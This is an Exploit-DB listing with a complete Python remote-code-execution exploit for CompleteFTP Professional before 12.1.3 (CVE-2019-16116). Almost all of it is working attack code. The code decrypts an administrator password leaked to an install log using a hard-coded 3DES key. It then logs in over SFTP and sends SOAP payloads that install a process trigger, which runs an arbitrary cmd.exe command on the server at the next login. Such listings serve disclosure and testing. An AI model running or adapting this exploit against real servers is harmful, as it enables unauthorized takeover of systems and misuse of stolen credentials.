CompleteFTP Professional 12.1.3 – Remote Code Execution

  • 作者: 1F98D
    日期: 2020-07-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48657/
  • # Exploit Title: CompleteFTP Professional < 12.1.3 - Remote Code Execution
    # Date: 2020-03-11
    # Exploit Author: 1F98D
    # Original Author: Rhino Security Labs
    # Vendor Homepage: https://enterprisedt.com/products/completeftp/
    # Version: CompleteFTP Professional
    # Tested on: Windows 10 (x64)
    # CVE: CVE‑2019‑16116
    # References:
    # https://rhinosecuritylabs.com/application-security/completeftp-server-local-privesc-cve-2019-16116/
    # https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-16116
    #
    # CompleteFTP before 12.1.3 logs an obscured administrator password to a file
    # during installation (C:\Program Files (x86)\Complete FTP\Server\Bootstrapper.log)
    # if CompleteFTP is configured to permit remote administration (over port 14983) it
    # is possible to obtain remote code execution through the administration interface
    #
    # This script requires the following python modules are installed
    # pip install paramiko pycryptodome uuid
    # 
    #!/usr/local/bin/python3
    
    from paramiko.sftp import CMD_EXTENDED
    from base64 import b64encode, b64decode
    from Crypto.Util.Padding import unpad
    from Crypto.Cipher import DES3
    import xml.etree.ElementTree as ET
    import paramiko
    import struct
    import uuid
    import sys
    
    # region get_server_info
    get_server_info = """
    <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <SOAP-ENV:Body>
    <i2:GetServerInfo id="ref-1" xmlns:i2="Admin API">
    </i2:GetServerInfo>
    </SOAP-ENV:Body>
    </SOAP-ENV:Envelope>
    """.strip()
    # endregion
    
    # region update_config
    update_config = """
    <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <SOAP-ENV:Body>
    <i2:UpdateConfig id="ref-1" xmlns:i2="Admin API">
    <changes href="https://www.exploit-db.com/exploits/48657/#ref-4"/>
    </i2:UpdateConfig>
    <a1:ConfigDataSet id="ref-4" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/EnterpriseDT.Net.FtpServer.Config/CompleteFTPManager%2C%20Version%3D8.3.3.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D48e55b33069804ce">
    <DataSet.RemotingVersion href="https://www.exploit-db.com/exploits/48657/#ref-5"/>
    <XmlSchema id="ref-6">{XMLSCHEMA}</XmlSchema>
    <XmlDiffGram id="ref-7">{XMLDIFFGRAM}</XmlDiffGram>
    </a1:ConfigDataSet>
    <a2:Version id="ref-5" xmlns:a2="http://schemas.microsoft.com/clr/ns/System">
    <_Major>2</_Major>
    <_Minor>0</_Minor>
    <_Build>-1</_Build>
    <_Revision>-1</_Revision>
    </a2:Version>
    </SOAP-ENV:Body>
    </SOAP-ENV:Envelope>
    """.strip()
    # endregion
    
    # region xml_schema
    xml_schema = """
    <?xml version="1.0" encoding="utf-16"?>
    <xs:schema id="ConfigDataSet" targetNamespace="http://tempuri.org/ConfigDataSet.xsd" xmlns:mstns="http://tempuri.org/ConfigDataSet.xsd" xmlns="http://tempuri.org/ConfigDataSet.xsd" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:msprop="urn:schemas-microsoft-com:xml-msprop" attributeFormDefault="qualified" elementFormDefault="qualified">
    <xs:element name="ConfigDataSet" msdata:IsDataSet="true" msdata:Locale="en-US" msdata:TimestampingEnabled="False">
    <xs:complexType>
    <xs:choice minOccurs="0" maxOccurs="unbounded">
    <xs:element name="PlugIn">
    <xs:complexType>
    <xs:sequence>
    <xs:element name="PlugInID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
    <xs:element name="Name" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd">
    <xs:simpleType>
    <xs:restriction base="xs:string">
    <xs:maxLength value="100" />
    </xs:restriction>
    </xs:simpleType>
    </xs:element>
    <xs:element name="ClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd">
    <xs:simpleType>
    <xs:restriction base="xs:string">
    <xs:maxLength value="400" />
    </xs:restriction>
    </xs:simpleType>
    </xs:element>
    <xs:element name="PlugInTypeID" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
    <xs:element name="Configuration" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
    <xs:element name="CreatedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
    <xs:element name="ModifiedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
    <xs:element name="UserInstance" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
    <xs:element name="System" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
    <xs:element name="EditorClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0">
    <xs:simpleType>
    <xs:restriction base="xs:string">
    <xs:maxLength value="100" />
    </xs:restriction>
    </xs:simpleType>
    </xs:element>
    <xs:element name="AssemblyPath" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0">
    </xs:element>
    <xs:element name="MinimumEdition" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
    <xs:element name="ChangeSetID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
    </xs:sequence>
    </xs:complexType>
    </xs:element>
    <xs:element name="Server">
    <xs:complexType>
    </xs:complexType>
    </xs:element>
    <xs:element name="SiteUser">
    <xs:complexType>
    </xs:complexType>
    </xs:element>
    <xs:element name="Site">
    <xs:complexType>
    </xs:complexType>
    </xs:element>
    <xs:element name="Node">
    <xs:complexType>
    </xs:complexType>
    </xs:element>
    <xs:element name="TrashHeap1">
    <xs:complexType>
    </xs:complexType>
    </xs:element>
    <xs:element name="TrashHeap2">
    <xs:complexType>
    </xs:complexType>
    </xs:element>
    <xs:element name="ChangeSet">
    <xs:complexType>
    </xs:complexType>
    </xs:element>
    <xs:element name="RuntimeVariable">
    <xs:complexType>
    </xs:complexType>
    </xs:element>
    </xs:choice>
    </xs:complexType>
    <xs:unique name="PlugIn_Constraint1" msdata:ConstraintName="Constraint1" msdata:PrimaryKey="true">
    <xs:selector xpath=".//mstns:PlugIn" />
    <xs:field xpath="mstns:PlugInID" />
    </xs:unique>
    </xs:element>
    </xs:schema>
    """.replace("<", "&lt;").replace(">", "&gt;").replace('"', "&#34;").strip()
    # endregion
    
    # region xml_diffgram
    xml_diffgram = """
    <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
    <ConfigDataSet xmlns="http://tempuri.org/ConfigDataSet.xsd">
    <PlugIn diffgr:id="PlugIn1" msdata:rowOrder="0" diffgr:hasChanges="modified">
    <PlugInID>88428040-73b3-4497-9b6d-69af2f1cc3c7</PlugInID>
    <Name>Process Execution</Name>
    <ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName>
    <PlugInTypeID>2</PlugInTypeID>
    <Configuration>{CONFIGURATION}</Configuration>
    <CreatedTime>2020-03-10T18:33:41.107+08:00</CreatedTime>
    <ModifiedTime>2020-03-10T10:52:00.7496654+08:00</ModifiedTime>
    <UserInstance>false</UserInstance>
    <System>true</System>
    <ChangeSetID>{ID}</ChangeSetID>
    </PlugIn>
    <PlugInType diffgr:id="PlugInType1" msdata:rowOrder="0">
    <PlugInTypeID>2</PlugInTypeID>
    <Name>Event</Name>
    <CreatedTime>2009-06-29T11:48:00+08:00</CreatedTime>
    <ModifiedTime>2009-06-29T11:48:00+08:00</ModifiedTime>
    </PlugInType>
    <ChangeSet diffgr:id="ChangeSet1" msdata:rowOrder="0">
    <ChangeSetID></ChangeSetID>
    <Sequence>3</Sequence>
    <CreatedTime>2020-03-10T10:50:44.4209655+08:00</CreatedTime>
    <ModifiedTime>2020-03-10T10:50:44.4209655+08:00</ModifiedTime>
    <IsPrimary>true</IsPrimary>
    </ChangeSet>
    </ConfigDataSet>
    <diffgr:before>
    <PlugIn diffgr:id="PlugIn1" msdata:rowOrder="0" xmlns="http://tempuri.org/ConfigDataSet.xsd">
    <PlugInID>88428040-73b3-4497-9b6d-69af2f1cc3c7</PlugInID>
    <Name>Process Execution</Name>
    <ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName>
    <PlugInTypeID>2</PlugInTypeID>
    <Configuration></Configuration>
    <CreatedTime>2020-03-10T18:33:41.107+08:00</CreatedTime>
    <ModifiedTime>2020-03-10T10:50:44.4209655+08:00</ModifiedTime>
    <UserInstance>false</UserInstance>
    <System>true</System>
    <ChangeSetID></ChangeSetID>
    </PlugIn>
    </diffgr:before>
    </diffgr:diffgram>
    """.strip()
    # endregion
    
    # region config
    config = """
    <TriggerDataSet xmlns="http://tempuri.org/TriggerDataSet.xsd">
    <ProcessConfig>
    <ProcessConfigID>0</ProcessConfigID>
    <MaxProcesses>10</MaxProcesses>
    <RunTimeout>0</RunTimeout>
    <QueueTimeout>0</QueueTimeout>
    <KillOnExit>true</KillOnExit>
    </ProcessConfig>
    <ProcessRule>
    <ProcessRuleID>1</ProcessRuleID>
    <ProcessConfigID>0</ProcessConfigID>
    <Name>trigger</Name>
    <Enabled>true</Enabled>
    <ProcessType>0</ProcessType>
    <ProcessPath>cmd.exe</ProcessPath>
    <Arguments>/c {CMD}</Arguments>
    <PathFilter>*</PathFilter>
    <OnError>false</OnError>
    <OnSuccess>true</OnSuccess>
    <RowOrder>1</RowOrder>
    </ProcessRule>
    <ProcessEvent>
    <ProcessRuleID>1</ProcessRuleID>
    <EventType>LogIn</EventType>
    </ProcessEvent>
    </TriggerDataSet>
    """.strip()
    # endregion
    
    def prepare_update_config(uuid, cmd):
    config_payload = config
    config_payload = config_payload.replace('{CMD}', cmd)
    config_payload = config_payload.replace('<', '&lt;')
    config_payload = config_payload.replace('>', '&gt;')
    
    diffgram_payload = xml_diffgram
    diffgram_payload = diffgram_payload.replace('{CONFIGURATION}', config_payload)
    diffgram_payload = diffgram_payload.replace('{ID}', uuid)
    diffgram_payload = diffgram_payload.replace('&', '&#38;')
    diffgram_payload = diffgram_payload.replace('<', '&#60;')
    diffgram_payload = diffgram_payload.replace('>', '&#62;')
    diffgram_payload = diffgram_payload.replace('"', '&#34;')
    
    payload = update_config
    payload = payload.replace('{XMLSCHEMA}', xml_schema)
    payload = payload.replace('{XMLDIFFGRAM}', diffgram_payload)
    
    return payload
    
    def send_request(sftp, payload):
    payload = b64encode(bytes(payload, 'utf-8')).decode('utf-8')
    res = sftp._request(CMD_EXTENDED, 'admin@enterprisedt.com', 'SOAP64 ' + payload)
    return res
    
    def convert_changeset_id_to_uuid(changeset_id):
    a = struct.pack('i', int(changeset_id[0].text))# 32
    b = struct.pack('h', int(changeset_id[1].text))# 16
    c = struct.pack('h', int(changeset_id[2].text))# 16
    d = struct.pack('B', int(changeset_id[3].text))# 8
    e = struct.pack('B', int(changeset_id[4].text))# 8
    f = struct.pack('B', int(changeset_id[5].text))# 8
    g = struct.pack('B', int(changeset_id[6].text))# 8
    h = struct.pack('B', int(changeset_id[7].text))# 8
    i = struct.pack('B', int(changeset_id[8].text))# 8
    j = struct.pack('B', int(changeset_id[9].text))# 8
    k = struct.pack('B', int(changeset_id[10].text)) # 8
    
    x = a + b + c + d + e + f + g + h + i + j + k
    return uuid.UUID(bytes_le=x)
    
    def get_uuid(sftp):
    res = send_request(sftp, get_server_info)
    if res[0] != 201:
    print('[!] Error could not request server info via SFTP')
    sys.exit(1)
    
    res = b64decode(res[1].get_string()).decode('utf-8')
    res = ET.fromstring(res)
    changeset_id = res.find('.//SyncChangeSetID')
    uuid = convert_changeset_id_to_uuid(changeset_id)
    return str(uuid)
    
    def login(host, port, user, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(host, port, user, password, look_for_keys=False, allow_agent=False)
    return ssh.open_sftp()
    
    def send_command(sftp, cmd):
    uuid = get_uuid(sftp)
    payload = prepare_update_config(uuid, cmd)
    res = send_request(sftp, payload)
    if res[0] != 201:
    print('[!] Error could not send update config request via SFTP')
    sys.exit(1)
    
    def decrypt_password(password):
    key = b64decode('HKVV76GdVuzXne/zxtWvdjA2d2Am548E')
    iv = b64decode('gVGow/9uLvM=')
    encrypted = b64decode(password)
    cipher = DES3.new(key=key, iv=iv, mode=DES3.MODE_CBC)
    decrypted = cipher.decrypt(encrypted)
    return unpad(decrypted, 8).decode('utf-16')
    
    if len(sys.argv) != 6:
    print('[!] Missing arguments')
    print('[ ] Usage: {} <target> <port> <username> <encrypted-password> <cmd>'.format(sys.argv[0]))
    print("[ ] E.g. {} 192.168.1.128 14983 admin DEomw27OY7sYZs4XjYA2kVB4LEB5skN4 'whoami > C:\\x.txt'".format(sys.argv[0]))
    sys.exit(1)
    
    target = sys.argv[1]
    port = int(sys.argv[2])
    username = sys.argv[3]
    password = sys.argv[4]
    cmd = sys.argv[5]
    
    print('[ ] Decrypting password')
    password = decrypt_password(password)
    print('[ ] Decrypted password is "{}"'.format(password))
    
    print('[ ] Logging in')
    sftp = login(target, port, username, password)
    
    print('[ ] Sending command')
    send_command(sftp, cmd)
    
    print('[ ] Command successfully sent, triggering...')
    sftp = login(target, port, username, password)